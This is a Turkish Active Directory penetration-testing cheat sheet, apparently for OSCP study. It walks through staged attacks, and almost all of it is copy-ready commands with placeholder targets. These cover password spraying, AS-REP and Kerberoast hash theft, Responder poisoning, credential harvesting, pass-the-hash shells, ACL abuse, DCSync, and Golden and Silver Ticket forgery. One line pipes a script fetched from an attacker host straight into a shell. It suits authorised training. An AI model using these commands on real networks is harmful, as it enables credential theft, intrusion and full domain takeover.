1 · Cred Yok — Unauthenticated
Sadece ağ erişimiHenüz geçerli kimlik bilgin yok; ağ üzerinden DC’yi bul ve cred/kullanıcı topla.
DC / domain tespiti
SMB banner’ından domain adı, hostname ve SMB signing durumunu al.
nxc smb <DC_IP>
Null session — share’ler
Anonim (null) oturumla erişilebilir share’leri listele.
nxc smb <DC_IP> -u '' -p '' --shares
Tam anonim enum
Kullanıcılar, gruplar, parola politikası ve share’ler için toplu enum.
enum4linux-ng -A <DC_IP>
RID brute — kullanıcı listesi çıkar
Guest üzerinden RID cycling ile domain kullanıcı adlarını topla (users.txt için).
nxc smb <DC_IP> -u guest -p '' --rid-brute 10000
Kerberos ile kullanıcı doğrula
Userlist’i Kerberos preauth ile doğrula (gürültüsüz kullanıcı enum).
kerbrute userenum -d <DOMAIN> --dc <DC_IP> users.txt
AS-REP Roasting (cred gerekmez)
Preauth kapalı (DONT_REQ_PREAUTH) kullanıcıların hash’ini çek — kırılabilir.
impacket-GetNPUsers <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -format hashcat -outputfile asrep.hash
Password spray
Userlist’e tek bir parola ile sprey yap — başarılıyı sürdür.
nxc smb <DC_IP> -u users.txt -p '<PASSWORD>' --continue-on-success
2 · Cred Avı — Nerede Saklı
cred yokken bakılacak yerlerHiç cred yok. Aşağıdaki kaynaklar OSCP’de en sık cred sızdıran yerler — biri iş görünce Aşama 3’e geç.
Null session — share’lerde dosya ara
Anonim SMB ile share’leri gez, config/xml/script içinde parola tara (spider_plus JSON çıktısı /tmp/nxc_hosted).
nxc smb <TARGET_IP> -u '' -p '' -M spider_plus
Anonim share’i indir
Share listesi al, sonra: smbclient -N //<TARGET_IP>/<SHARE> → recurse ON; prompt OFF; mget *
smbclient -N -L //<TARGET_IP>
Anonim FTP
anonymous / boş parola ile giriş dene; dosyaları indir (get / mget *).
ftp <TARGET_IP> # user: anonymous pass: (boş)
NFS export mount
Açık NFS export’ları listele, mount edip dosyalara/keylere bak.
showmount -e <TARGET_IP> # sonra: sudo mount -t nfs <TARGET_IP>:/<SHARE> /mnt -o nolock
SNMP dump (UDP 161)
Community 'public' ile process argümanlarında/işlemlerde parola sızıntısı ara.
snmpwalk -v2c -c public <TARGET_IP> | grep -iE "pass|pwd|cred|user"
LDAP description alanları
Anonim bind ile kullanıcı description/info alanlarına bak — parola koymak klasik hatadır.
ldapsearch -x -H ldap://<DC_IP> -b "DC=<DOMAIN>" "(objectClass=user)" description info | grep -iE "descr|info|pass"
Web: açık .git / yedek / config
Exposed .git çek; ayrıca web.config, wp-config.php, .env, *.bak/*.zip, robots.txt kontrol et.
git-dumper http://<TARGET_IP>/.git ./loot # sonra: git log -p | grep -iE "pass|key|secret"
Default / zayıf cred (servis panelleri)
Tomcat (tomcat:tomcat), Jenkins, phpMyAdmin (root:boş), GitLab vb. varsayılanları dene, sonra brute.
hydra -L users.txt -P passwords.txt <TARGET_IP> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
Responder — NetNTLMv2 yakala
LLMNR/NBT-NS zehirleme ile ağdan hash topla; gelen hash’i hashcat -m 5600 ile kır.
sudo responder -I <INTERFACE> -wv
username = password spray
RID brute’tan çıkan userlist ile kullanıcı adının parola olduğu hesapları yakala.
nxc smb <DC_IP> -u users.txt -p users.txt --no-bruteforce --continue-on-success
Bir shell aldıysan: otomatik cred avı
İlk foothold sonrası local cred/anahtar/hash için PEAS çalıştır (linpeas.sh / winPEASx64.exe).
curl <LHOST>/linpeas.sh | sh # Windows: .\winPEASx64.exe
Windows: LaZagne — kayıtlı parolalar
Tarayıcı, WiFi, RDP, DB, mail vb. tüm uygulama parolalarını topla.
lazagne.exe all
Linux: dosyalarda parola grep
Web kökü, config, home ve history dosyalarında düz metin parola ara.
grep -riE "password|passwd|pass=|secret|api[_-]?key" /var/www /etc /home /opt 2>/dev/null
Windows: config/history’de parola ara
unattend.xml, *.config, PowerShell history ve metin dosyalarında parola tara.
findstr /si password *.xml *.ini *.txt *.config 2>nul & type %APPDATA%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
3 · Cred Var — Authenticated Enum
user : pass elde edildiEn az bir geçerli kullanıcı+parola var. Domain’i haritalandır ve roast/AD CS dene.
Cred doğrula + admin?
“Pwn3d!” çıktısı bu host’ta yerel admin olduğunu gösterir.
nxc smb <DC_IP> -u <USER> -p <PASS>
Tüm subnet’te dene
Aynı cred’in yerel admin olduğu diğer makineleri bul.
nxc smb <SUBNET> -u <USER> -p <PASS>
Kullanıcı / grup / politika
Domain kullanıcıları, grupları ve parola politikasını çek.
nxc smb <DC_IP> -u <USER> -p <PASS> --users --groups --pass-pol
Share’leri tara
Okuma/yazma haklı share’leri bul (GPP, script, config sızıntısı).
nxc smb <DC_IP> -u <USER> -p <PASS> --shares
BloodHound topla
Tüm collection metotlarıyla saldırı yolu grafiğini çıkar (.zip → BloodHound GUI).
bloodhound-python -u <USER> -p '<PASS>' -d <DOMAIN> -ns <DC_IP> -c all --zip
Kerberoasting
SPN’li servis hesaplarının TGS hash’ini çek (offline kır).
impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -request -outputfile kerberoast.hash
AS-REP Roasting (authed)
Preauth kapalı kullanıcıların hash’ini kimlikli olarak çek.
impacket-GetNPUsers <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -request -format hashcat
GPP cpassword
SYSVOL’deki Group Policy Preferences parolalarını çöz.
nxc smb <DC_IP> -u <USER> -p <PASS> -M gpp_password
AD CS zafiyeti (ESC1-8)
Sömürülebilir sertifika şablonlarını bul (ESC1 = ayrıcalık yükseltme).
certipy-ad find -u <USER>@<DOMAIN> -p '<PASS>' -dc-ip <DC_IP> -vulnerable -stdout
Delegasyon enum (constrained/RBCD)
Unconstrained/constrained/RBCD delegasyona sahip hesapları bul — güçlü ayrıcalık yükseltme yolu.
impacket-findDelegation <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
GMSA parolası oku
ReadGMSAPassword hakkın varsa gMSA hesabının NT hash’ini çek.
nxc ldap <DC_IP> -u <USER> -p <PASS> --gmsa
LAPS parolası oku
LAPS okuma hakkın varsa yerel admin parolalarını çek.
nxc ldap <DC_IP> -u <USER> -p <PASS> -M laps
description alanlarında parola
Kullanıcı description/info alanlarında düz metin parola ara.
nxc ldap <DC_IP> -u <USER> -p <PASS> -M user-desc
4 · ACL / Delegasyon İstismarı
BloodHound bir yol gösterdiBloodHound “Outbound Object Control” (GenericAll/WriteDACL/ForceChangePassword...) veya delegasyon gösteriyorsa hedef nesneyi ele geçir.
ForceChangePassword — parola sıfırla
Hedef kullanıcı üzerinde bu hakkın varsa parolasını değiştir.
net rpc password '<TARGET_USER>' 'NewPass123!' -U '<DOMAIN>/<USER>%<PASS>' -S <DC_IP>
GenericAll — parola sıfırla (bloodyAD)
bloodyAD ile hedef nesne parolasını değiştir.
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASS>' set password '<TARGET_USER>' 'NewPass123!'
GenericWrite — hedefi Kerberoastable yap
Hedef hesaba SPN ekle, Kerberoast et, sonra SPN’i geri al.
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASS>' set object '<TARGET_USER>' servicePrincipalName -v 'fake/svc'
Gruba kendini ekle (GenericAll on group)
Ayrıcalıklı gruba (ör. Domain Admins) üye ekle.
net rpc group addmem '<GROUP>' '<USER>' -U '<DOMAIN>/<USER>%<PASS>' -S <DC_IP>
RBCD saldırısı
Yazma haklı bir bilgisayara delegasyon kur, sonra S4U ile impersonate et.
impacket-rbcd -delegate-to <TARGET_COMPUTER>$ -delegate-from <ATTACKER_COMPUTER>$ -action write -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS>
S4U — hizmet bileti al (impersonate)
RBCD/constrained sonrası Administrator adına servis bileti al.
impacket-getST -spn cifs/<TARGET_HOSTNAME> -impersonate administrator -dc-ip <DC_IP> <DOMAIN>/<ATTACKER_COMPUTER>$:<PASS>
5 · Hash Kırma — Offline
Roast / NTLM hash’leri kırKerberoast, AS-REP veya NTLM hash elde ettin — rockyou ile offline kır.
Kerberoast (TGS-REP)
Mode 13100 — servis hesabı parolaları.
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
AS-REP
Mode 18200 — preauth kapalı hesaplar.
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
NTLM
Mode 1000 — secretsdump/SAM’dan çıkan NT hash’leri.
hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt
NetNTLMv2 (Responder)
Mode 5600 — LLMNR/NBT-NS zehirlemeden yakalanan hash.
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt
DCC2 (mscash2)
Mode 2100 — cache’lenmiş domain kimlik bilgileri (yavaş, hedefli sözlük kullan).
hashcat -m 2100 dcc2.hash /usr/share/wordlists/rockyou.txt
Kural ile (best64)
Kırılamayan hash için mutasyon kuralı ekle.
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
John alternatifi
Hashcat çalışmıyorsa John ile kır (format otomatik algılanır).
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.hash
6 · Yatay Hareket — Lateral Movement
cred veya NTLM hash ileParola ya da NTLM hash var. Hedef makinelere shell al, Pass-the-Hash uygula.
PtH tarama — nerede admin?
NTLM hash ile subnet’te yerel admin olunan host’ları bul.
nxc smb <SUBNET> -u <USER> -H <NTLM_HASH>
Evil-WinRM (parola)
WinRM (5985) açıksa interaktif shell.
evil-winrm -i <TARGET_IP> -u <USER> -p '<PASS>'
Evil-WinRM (Pass-the-Hash)
Parola yok, NT hash ile giriş.
evil-winrm -i <TARGET_IP> -u <USER> -H <NTLM_HASH>
psexec (parola)
SYSTEM shell (gürültülü ama güvenilir).
impacket-psexec <DOMAIN>/<USER>:<PASS>@<TARGET_IP>
wmiexec (daha sessiz)
Servis oluşturmadan WMI üzerinden komut çalıştırma.
impacket-wmiexec <DOMAIN>/<USER>:<PASS>@<TARGET_IP>
psexec (Pass-the-Hash)
NT hash ile SYSTEM shell.
impacket-psexec -hashes :<NTLM_HASH> <DOMAIN>/<USER>@<TARGET_IP>
Overpass-the-Hash (TGT al)
NT hash → Kerberos TGT. Sonra: export KRB5CCNAME=<USER>.ccache && impacket-psexec -k -no-pass <DOMAIN>/<USER>@<DC_HOSTNAME>
impacket-getTGT <DOMAIN>/<USER> -hashes :<NTLM_HASH> -dc-ip <DC_IP>
RDP (parola)
Grafik oturum (3389). Pano + drive yönlendirme açık.
xfreerdp /u:<USER> /p:<PASS> /d:<DOMAIN> /v:<TARGET_IP> /cert:ignore +clipboard
RDP (Pass-the-Hash)
Restricted Admin açıksa NT hash ile RDP.
xfreerdp /u:<USER> /pth:<NTLM_HASH> /v:<TARGET_IP> /cert:ignore
MSSQL → xp_cmdshell
MSSQL erişimi varsa komut çalıştır (enable_xp_cmdshell; xp_cmdshell "whoami").
impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<TARGET_IP> -windows-auth
atexec (zamanlanmış görev)
psexec engelliyse Task Scheduler üzerinden komut çalıştır.
impacket-atexec <DOMAIN>/<USER>:<PASS>@<TARGET_IP> "whoami"
Kerberos bileti ile (PtT)
export KRB5CCNAME=ticket.ccache sonrası bilet ile kimlik doğrula.
nxc smb <DC_HOSTNAME> --use-kcache -x whoami
7 · Domain Hakimiyeti — Dominance
DA / DCSync hakkıDomain Admin ya da DCSync (Replication) hakkı olan bir hesaba ulaştın — tüm domain’i düşür.
DCSync — tüm hash’ler (parola)
Domain’deki tüm NT hash’leri DC’den replike et.
impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC_IP> -just-dc
DCSync (Pass-the-Hash)
NT hash ile DCSync.
impacket-secretsdump -hashes :<NTLM_HASH> <DOMAIN>/<USER>@<DC_IP> -just-dc
Sadece krbtgt (Golden için)
Golden Ticket üretmek için krbtgt hash’ini al.
impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC_IP> -just-dc-user krbtgt
Yerel SAM + LSA dump
Admin olduğun host’ta yerel cred/hash ve LSA secret çek.
nxc smb <TARGET_IP> -u <USER> -p <PASS> --sam --lsa
Domain SID al
Golden Ticket için domain SID’ini öğren.
impacket-lookupsid <DOMAIN>/<USER>:<PASS>@<DC_IP>
Golden Ticket üret
krbtgt hash + domain SID ile Administrator bileti oluştur (custom var: <KRBTGT_HASH>, <DOMAIN_SID>).
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> Administrator
NTDS dump (nxc)
DA isen NTDS.dit’i doğrudan dök (secretsdump alternatifi).
nxc smb <DC_IP> -u <USER> -p <PASS> --ntds
ADCS ESC1 — sertifika iste
Zayıf şablondan Administrator UPN’li sertifika iste.
certipy-ad req -u <USER>@<DOMAIN> -p '<PASS>' -dc-ip <DC_IP> -ca <CA_NAME> -template <TEMPLATE> -upn administrator@<DOMAIN>
ADCS — sertifika ile auth (NT hash al)
Elde edilen .pfx ile kimlik doğrula, Administrator NT hash’ini al.
certipy-ad auth -pfx administrator.pfx -dc-ip <DC_IP>
Silver Ticket
Servis hesabı NT hash’i ile tek servise (CIFS/MSSQL...) sahte bilet.
impacket-ticketer -nthash <NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn cifs/<TARGET_HOSTNAME> administrator